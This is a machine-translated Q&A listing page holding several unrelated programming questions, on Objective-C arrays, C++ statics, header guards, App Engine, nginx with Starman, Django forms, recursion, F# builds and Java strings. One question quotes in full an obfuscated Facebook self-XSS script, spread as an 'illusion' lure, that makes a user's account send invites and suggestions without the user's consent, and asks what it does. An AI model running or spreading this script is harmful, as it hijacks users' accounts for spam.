问题列表 - 第27835页

从NSMutableArray中删除对象

我有一个NSMutableArray,它包含我系统上的所有日历(作为CalCalendar对象):

NSMutableArray *calendars = [[CalCalendarStore defaultCalendarStore] calendars];

我想从标题不包含字符串的calendars任何CalCalendar对象中删除@"work".

我试过这个:

for (CalCalendar *cal in calendars) {
    // Look to see if this calendar's title contains "work". If not - remove it
    if ([[cal title] rangeOfString:@"work"].location == NSNotFound) {
        [calendars removeObject:cal];
    }
}
Run Code Online (Sandbox Code Playgroud)

控制台抱怨说:

*** Collection <NSCFArray: 0x11660ccb0> was mutated while being enumerated.

事情变坏了.显然你似乎不能做我想做的事情所以有人能建议最好的方法吗?

谢谢,

xcode cocoa calendar objective-c nsmutablearray

2
推荐指数
1
解决办法
8930
查看次数

C++中函数内的静态变量 - 即使函数没有运行也会分配?

我一直在网上阅读C++,这是我无法找到答案的一件事.

我知道函数中使用的静态变量类似于全局变量,并且该函数的后续调用将使静态变量在调用之间保持其值.

但是,如果从未调用该函数,静态变量是否会被分配?

谢谢

c++ static memory-management

17
推荐指数
2
解决办法
981
查看次数

使用#ifndef #define #endif对C头文件进行最佳练习

关于以下"模式"的最佳实践是什么?

#ifndef BLAFOO_H
#define BLAFOO_H
/* ...
 * ...
 */
#endif /* BLAFOO_H */
Run Code Online (Sandbox Code Playgroud)

我应该如何命名#define指令中的标题?我已经看到了从说BLAFOO_H__BLAFOO_H_BLAFOO_H_等.

c coding-style header

13
推荐指数
3
解决办法
2万
查看次数

App Engine中的自定义任务队列?

我创建了一个新的任务队列,并在queue.yaml中定义了它

我不确定如何开始向此队列添加任务?

使用默认队列,这是简单的taskqueue.add(...)

我们如何为自定义队列执行此操作?

google-app-engine task-queue

4
推荐指数
1
解决办法
1148
查看次数

为什么在Catalyst/Plack/Starman中使用nginx?

我正在尝试使用Plack/Starman部署我的小型Catalyst Web应用程序.所有文档似乎都表明我想将它与nginx结合使用.这有什么好处?为什么不直接在Star 80上使用Starman?

perl nginx catalyst plack starman

23
推荐指数
2
解决办法
6355
查看次数

在Django中自定义登录

Django新手在这里.

我写了简化的登录表单,它接收电子邮件和密码.如果提供了电子邮件和密码,它的效果很好,但如果缺少任何一个,我会得到KeyError异常.根据django文档,这应该永远不会发生:

默认情况下,每个Field类都假定该值是必需的,因此如果传递一个空值 - None或空字符串("") - 那么clean()将引发ValidationError异常

我试图为字段编写自己的验证器(clean_email和clean_password),但它不起作用(即我得到KeyError异常).我究竟做错了什么?

class LoginForm(forms.Form):
    email = forms.EmailField(label=_(u'Your email'))
    password = forms.CharField(widget=forms.PasswordInput, label=_(u'Password'))

    def clean_email(self):
        data = self.cleaned_data['email']
        if not data:
            raise forms.ValidationError(_("Please enter email"))
        return data

    def clean_password(self):
        data = self.cleaned_data['password']
        if not data:
            raise forms.ValidationError(_("Please enter your password"))
        return data

    def clean(self):
        try:
            username = User.objects.get(email__iexact=self.cleaned_data['email']).username
        except User.DoesNotExist:
            raise forms.ValidationError(_("No such email registered"))
        password = self.cleaned_data['password']

        self.user = auth.authenticate(username=username, password=password)
        if self.user is None or not self.user.is_active:
            raise forms.ValidationError(_("Email or password is incorrect")) …
Run Code Online (Sandbox Code Playgroud)

forms django validation

5
推荐指数
1
解决办法
6381
查看次数

数组递归

我有一个我无法弄清楚的任务,任何指针都会非常感激,它是这样的:

有一系列灯泡表示为真/假的数组,每个灯泡都有一个开关,通过点击任何灯泡,你可以切换它和2个相邻的灯泡(左边1个,右边1个;如果点击开关的灯泡在边缘 - 当然只有1个相邻切换).

需要完成的是一种方法,它接受一系列打开/关闭灯泡的阵列,另一个方法表示在点击某些开关之后所谓的第一阵列的另一种状态.因此必须使用递归来确定是否存在将数组1转换为数组2的切换点击组合.

这是方法的签名:

public static boolean disco(boolean[] init, boolean[] target)
Run Code Online (Sandbox Code Playgroud)

如果array init可以转换为target,则返回true ,否则返回false.方法必须是静态的,不能使用循环和任何其他静态和全局变量,只能是本地变量.

例:

boolean[] init = {true, false, true, false, true, false};
boolean[] target = {false, true, false, true, false, true};
Run Code Online (Sandbox Code Playgroud)

对于2个以上的数组,disco(init,target)将返回true,因为切换第1个和第4个灯泡会产​​生目标状态(请记住相邻的灯泡也会被切换).

java arrays algorithm recursion

6
推荐指数
1
解决办法
2444
查看次数

F#,Linux和makefile

我打算将F#程序分发为二进制和源代码,以便用户可以根据需要重新编译它.在Windows上,我理解如何执行此操作:提供.fsproj和.sln文件,Visual Studio和MSBuild都可以理解这些文件.

在Linux上,C程序的传统解决方案是makefile.这取决于gcc直接可用,它始终是.

F#编译器可以安装在Linux上并在Mono下工作,所以到目前为止一切正常.但是,据我所知,它不会创建fsc运行编译器的场景,而是命令mono ...path.../fsc.exe.这也没关系,除了我不知道路径是什么.所以在我的情况下运行编译器的完整命令可能是,mono ~/FSharp-2.0.0.0/bin/fsc.exe types.fs tptp.fs main.fs -r FSharp.PowerPack.dll除了我不确定fsc.exe实际位于用户机器上的位置.

有没有办法在makefile中找到它,或者最好还是在文档中解释上面的内容并依赖用户根据他的设置修改命令?

linux mono f# makefile

4
推荐指数
1
解决办法
1293
查看次数

我在facebook上找到的这个奇怪的剧本是什么?

这不是一个帮助我自己编程的问题,但我发现这个页面在Facebook上有一个很酷的错觉和一个页面,上面写着"看到真正的错觉,将这段代码复制并粘贴到你的地址栏中",并且有一个脚本:

免责声明:请勿运行以下代码

javascript:(function(){a='app129556453726651_fsDszN';
b='app129556453726651_rcgAmd';
rhsjGW='app129556453726651_rhsjGW';SqmbQL='app129556453726651_SqmbQL';
kPtsfs='app129556453726651_kPtsfs';
eval(function(p,a,c,k,e,r){e=function(c)
{return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e)
{return r[e]}];e=function(){return'\\w+'};c=1};
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p}
('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"];
d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];
s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E);
s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g])
{F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O);
',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||kPtsfs|fs|SocialGraphManager|for|in|if|20|SqmbQL|rhsjGW|21|2000|4000|3000'.split('|'),0,{}))})();
Run Code Online (Sandbox Code Playgroud)

这到底是什么?如果我把它放在我的地址栏中会发生什么,我认为这是一个非常不明智的想法?

我很迷惑.

javascript facebook

21
推荐指数
1
解决办法
1495
查看次数

Java:使用trim()后得到不正确的string.length()

我有字符串"22",我的长度是3;

我用了 .trim()

还有什么可能是这个原因?

java string

7
推荐指数
2
解决办法
4238
查看次数